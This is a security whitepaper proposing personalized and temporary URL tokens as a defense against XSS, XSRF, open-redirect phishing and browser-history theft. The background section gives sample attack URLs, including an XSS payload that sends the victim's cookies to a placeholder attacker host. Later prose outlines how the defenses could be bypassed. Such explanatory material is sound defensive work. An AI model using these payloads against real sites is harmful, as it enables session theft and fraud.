Defensive URL Rewriting and Alternative Resource Locators

Bryan Sullivan

Senior Security Program Manager, SDL

Microsoft Security Engineering Center

Summary

Web application vulnerabilities are often exploited through the mechanism of malicious hyperlinks. An attacker will craft links to exploit vulnerabilities such as Cross-Site Scripting (XSS) or Cross-Site Request Forgery (XSRF) and then trick potential victims into following these links in their browsers. Sometimes the attacker must employ social engineering tricks to convince a victim to manually click through a poisoned link, and sometimes a URL can be designed so that it's fired automatically, without user action (for example, if it's specified as the source of an HTML image tag in a web page or email message).

We could mitigate much of the risk of the problem of poisoned hyperlinks by avoiding the use of *universal* resource locators – that is, links that can be used by anyone – and instead implementing the use of *personalized* resource locators – that is, links that can only be used by a single person. Under a PRL scheme, an attacker could craft all the malicious hyperlinks he wanted to, but because those links would only work for him, the only person he would be able to exploit is himself.

An alternative solution is to implement *temporary* resource locators: links that can be used by anyone but only for a short period of time, say 5-10 minutes. This implementation would overcome some of the limitations of personalized resource locators (for example, the need to keep server-side state) while still allowing only a short time window in which a vulnerability could be exploited.

This paper details how these alternative resource locators would function, explains how the existing web application framework mechanism of URL rewriting can be used to implement them, and finally lists the concepts' shortcomings and potential inappropriate uses.

Background

Exploiting Web Application Vulnerabilities

Cross-Site Scripting

Consider the following URL:

http://www.contoso.com/page.aspx?username=<script>document.location='http://evil.adatum.com/'+document.cookie;</script>

Assuming the target page www.contoso.com/page.aspx is vulnerable to XSS, if a user is tricked into following this link, her cookies for that page will be sent to the presumably malicious owner of the page evil.adatum.com.

Cross-Site Request Forgery

Similar malicious URLs can be crafted to take advantage of XSRF vulnerabilities:

http://banking.contoso.com/checking.aspx?action=withdraw&amount=1000&destination=evilbryan

Assuming the target page banking.contoso.com/checking.aspx is vulnerable to XSRF and the user had previously logged into banking.contoso.com (or her credentials were otherwise cached in the current browser instance), then banking.contoso.com would automatically execute a withdrawal of $1000 from the user's account and deposit it into the account of "evilbryan".

Open Redirect Phishing

A lesser-known vulnerability exploited through malicious hyperlinks is the open redirect vulnerability:

http://www.contoso.com/page.aspx?redirect=http://evil.adatum.com

Assuming the logic in page.aspx will redirect the user to whatever location specified by the "redirect" query string parameter, this can facilitate phishing attacks against www.contoso.com. A malicious user could set up a phishing mirror site of www.contoso.com at evil.adatum.com, and the user clicking through the link may not even notice that they have been redirected.

Privacy Loss

There are other web application issues which cannot be classified as vulnerabilities but which nevertheless can lead to loss of users' privacy. For instance, it is relatively easy for a web page to determine whether or not a user has ever visited an arbitrary URL. Some of the previously demonstrated methods of accomplishing this include:

- Using script to check the color of the link as rendered on the page (previously visited hyperlinks will have a different color from those that have never been visited)
- Similarly, using CSS to check the color of the link
- Opening an iframe to the link and timing how quickly the page is rendered; if the link has been visited recently, the page may load faster since some or all of the resources could have been cached

Mitigations

Personalized Resource Locators

A possible mitigation for these issues is for a web application to personalize each user's or each session's URLs, essentially turning universal resource locators into personalized resource locators. This can easily be accomplished through the existing mechanism of URL rewriting.

The first step in implementing this solution in a web application is to define one or more pages as "landing pages", that is, pages that are unprotected and can be called by anyone. For our example, we will define:

http://www.contoso.com/home.aspx

As a landing page; anyone can request this page as-is and it will be served to them. Whenever a user begins a new session by visiting this page, the application creates a unique, random token (also called a canary token) such as a GUID and associates that token with the session ID by storing it in server-side session state. Then, the application rewrites any hyperlinks on the landing page to add the token into the URL path before serving the landing page back to the user.

For example, let's say that the page www.contoso.com/home.aspx originally linked to the page:

http://www.contoso.com/page.aspx

This link would be rewritten as:

http://www.contoso.com/{token}/page.aspx

Whenever a user makes a request for a page not designated as a landing page (page.aspx for example), the application logic checks to make sure a valid token is included in the requested URL. If no token is included (for example, if the user simply requested http://www.contoso.com/page.aspx), then the application assumes the request is malicious and blocks it by returning an HTTP 403 Forbidden response status code. Similarly, if a token is included that does not match the stored session ID for that user, the application blocks the request and returns a 403 Forbidden.

All URLs on the protected page page.aspx are similarly rewritten to include the canary token before being served to the user, as well as any URLs on those pages, and so on, so that all of the pages in the application are protected.

Attackers can no longer craft XSS, XSRF or redirect-phishing hyperlinks against any protected pages in the application since they would have no way of predetermining valid canary tokens. In addition, protected pages are more private than non-protected pages since it would be extremely more difficult to steal browser history for those pages. While it's relatively easy to determine whether a user has visited http://www.contoso.com/page.aspx, if canary tokens are applied, the attacker has to check all the possible token values for http://www.contoso.com/{token}/page.aspx. If sufficiently large random this task is practically impossible. For example, if UUIDs are used (2^{128} possible values), even if the attacking algorithm can check a million values per second, it would still take 770 trillion times the age of the universe to check them all.

Temporary Resource Locators

One limitation of the personalized resource locator is that it requires the application to keep server-side session state. If an application does not otherwise rely on server-side state for other functionality, it may not be wise in terms of application performance or scalability to enable it simply to implement

personalized URLs. An alternative approach that does not require any server-side state is a temporary resource locator, a URL that is only valid for a short, predetermined amount of time.

Implementation of temporary links starts the same way as implementation of personalized links: the developers designate one or more pages as landing pages that can be called normally. All hyperlinks linked from this page are rewritten as before, but instead of adding a unique per-session token, the application adds an expiration timestamp (plus a keyed hash of the timestamp):

http://www.contoso.com/{timestamp + keyed hash}/page.aspx

When a user makes a request for a page not designated as a landing page, the application checks to make sure that a timestamp and hash are included in the request. If they are missing, the application blocks the request by returning an HTTP 403 Forbidden response status code. If the timestamp is present but is expired, the request is blocked. Finally, the application recreates the keyed hash from the timestamp, and if the new created hash does not match the hash passed in the request, the request is blocked, either with a 403 Forbidden status or something more exotic like 410 Gone.

This method does not prevent an attacker from crafting a malicious link and emailing it to potential victims or embedding it in another web page. However, the window of time for which this link is valid is limited by the expiration time set by the application. If this expiration time is short enough (5-10 minutes from the initial request), legitimate users will still have enough time to work with the application, but attackers would be extremely hindered.

Note that the fact that the application keys the hash is critical. If the application added only a plain un-keyed hash, an attacker would easily be able to precompute an expiration timestamp at an arbitrary point in the distant future and any defense would be negated.

In terms of privacy defense, the temporary resource locator concept is equally secure as the personalized resource locator. An attacker would only be able to check whether or not the user had requested a specific URL at a specific time in the past, and furthermore the attacker would have had to make an identical request at that time in order to store the keyed hash value for that instant. Assuming a timestamp granularity of milliseconds, the attacker would have had to make an identical request at the identical millisecond as the user and then store the resulting hash to be checked via script/CSS at a later time. While not technically impossible, this is extremely impractical even with a server farm given network latency.

Shortcomings

Bypassing the Defenses

Both vulnerability defense methods discussed in this paper can be defeated if there are any XSS vulnerabilities on any unprotected page in the domain, such as a landing page or another page in a completely different application not using these defenses but hosted on the same domain. For example, assume we have XSS vulnerabilities on both the landing page www.contoso.com/home.aspx and the protected page www.contoso.com/page.aspx.

The XSS attack payload would function as follows:

1. The attacker uses the XSS hole in home.aspx to create script to parse the valid token out of the page DOM.
2. The XSS script now redirects the user to www.contoso.com/{valid token}/page.aspx with a querystring payload of an XSS attack against page.aspx.
3. Alternatively, the script could rewrite the links on home.aspx to include the malicious payload so that the user would be exploited when she clicked through the links.

As a second example, assume we have XSS vulnerabilities on both the protected page www.contoso.com/page.aspx and on a page in a completely different application www.contoso.com/foo/bar.aspx:

1. The attacker uses the XSS hole in bar.aspx to create script to send an XMLHttpRequest to www.contoso.com/home.aspx (the landing page). This will be allowed by the browser because it's not violating the same origin policy.
2. The XSS script parses the callback response from the XMLHttpRequest call to find the valid token.
3. The attack proceeds as in step 2 of the previous example.

Another attack vector is possible against applications using the temporary resource locator defense, whether or not any other XSS vulnerabilities exist on the site:

1. The attacker sets up a page under his control, say www.adatum.com/evil.aspx.
2. In the server side code for this page, at the start of any request, the server sends a request to www.contoso.com/home.aspx and parses the valid keyed-expiration out of the response.
3. The server then redirects the user to the www.contoso.com/{valid token}/page.aspx with an appropriate querystring payload.
4. The attacker then convinces users into visiting www.adatum.com/evil.aspx, through the usual means of social engineering or automatically submitted links.

However, this does raise the bar for the attacker: he now has to have a site completely under his control on the server side. Furthermore, if this site legitimately belongs to him (ie, he hasn't just gained illegitimate administrative access) he will be leaving a clear trail to himself for law enforcement agencies to follow.

Breaking Legitimate Functionality

Use of either personalized or temporary resource locators can also have negative side effects on desired functionality. Although attackers can no longer email links with malicious payloads, legitimate users can no longer email benign links to each other either. In fact, they cannot even bookmark links since the links would be invalid at a later time.

Potentially worse than either of these side effects is the fact that search engines will no longer be able to index pages on the site (although in some circumstances, that could be seen as a positive effect if this is desired functionality).

Appropriate and Inappropriate Uses

In light of the shortcomings of these defensive measures, the best use for either measure is to protect a subset of functionality of an application that can be located in a separate domain. For example, assume that www.contoso.com is the website of a bank. All of the publicly available functionality for Contoso should be found on www.contoso.com and should not be protected by alternative resource locators. This functionality would include listing branch locations and hours, describing the various types of checking, savings and money markets accounts available to customers, displaying the current interest rates, etc.

However, once a user asks to log in to view her accounts, she is redirected to https://secure.contoso.com/{token}/login.aspx. All private functionality, such as viewing account balances, transferring funds, or applying for loans is found on secure.contoso.com. Furthermore, all pages on secure.contoso.com are protected by alternative resource locators and require SSL. The use of a separate domain and SSL and the lack of unprotected landing pages make exploitation of vulnerabilities much more difficult (especially if personalized resource locators are used instead of temporary resource locators).

It is true that no pages in secure.contoso.com can be indexed by search engines, but this is not a problem since no content in secure.contoso.com should be public anyway. The inability to bookmark pages here is only a minor inconvenience as the user can bookmark www.contoso.com/home.aspx and be only one or two clicks away from her desired page.

Conclusions

The use of URL rewriting to implement alternative resource locators can provide an extra measure of defense in depth against several high-impact web application vulnerabilities such as Cross-Site Scripting and Cross-Site Request Forgery. Alternative resource locators are also an excellent defense against browser history theft attacks. While the shortcomings of these defenses preclude them from being universally implemented across all pages on the Web, they can be used effectively to improve the security of subdomains of applications that serve private data.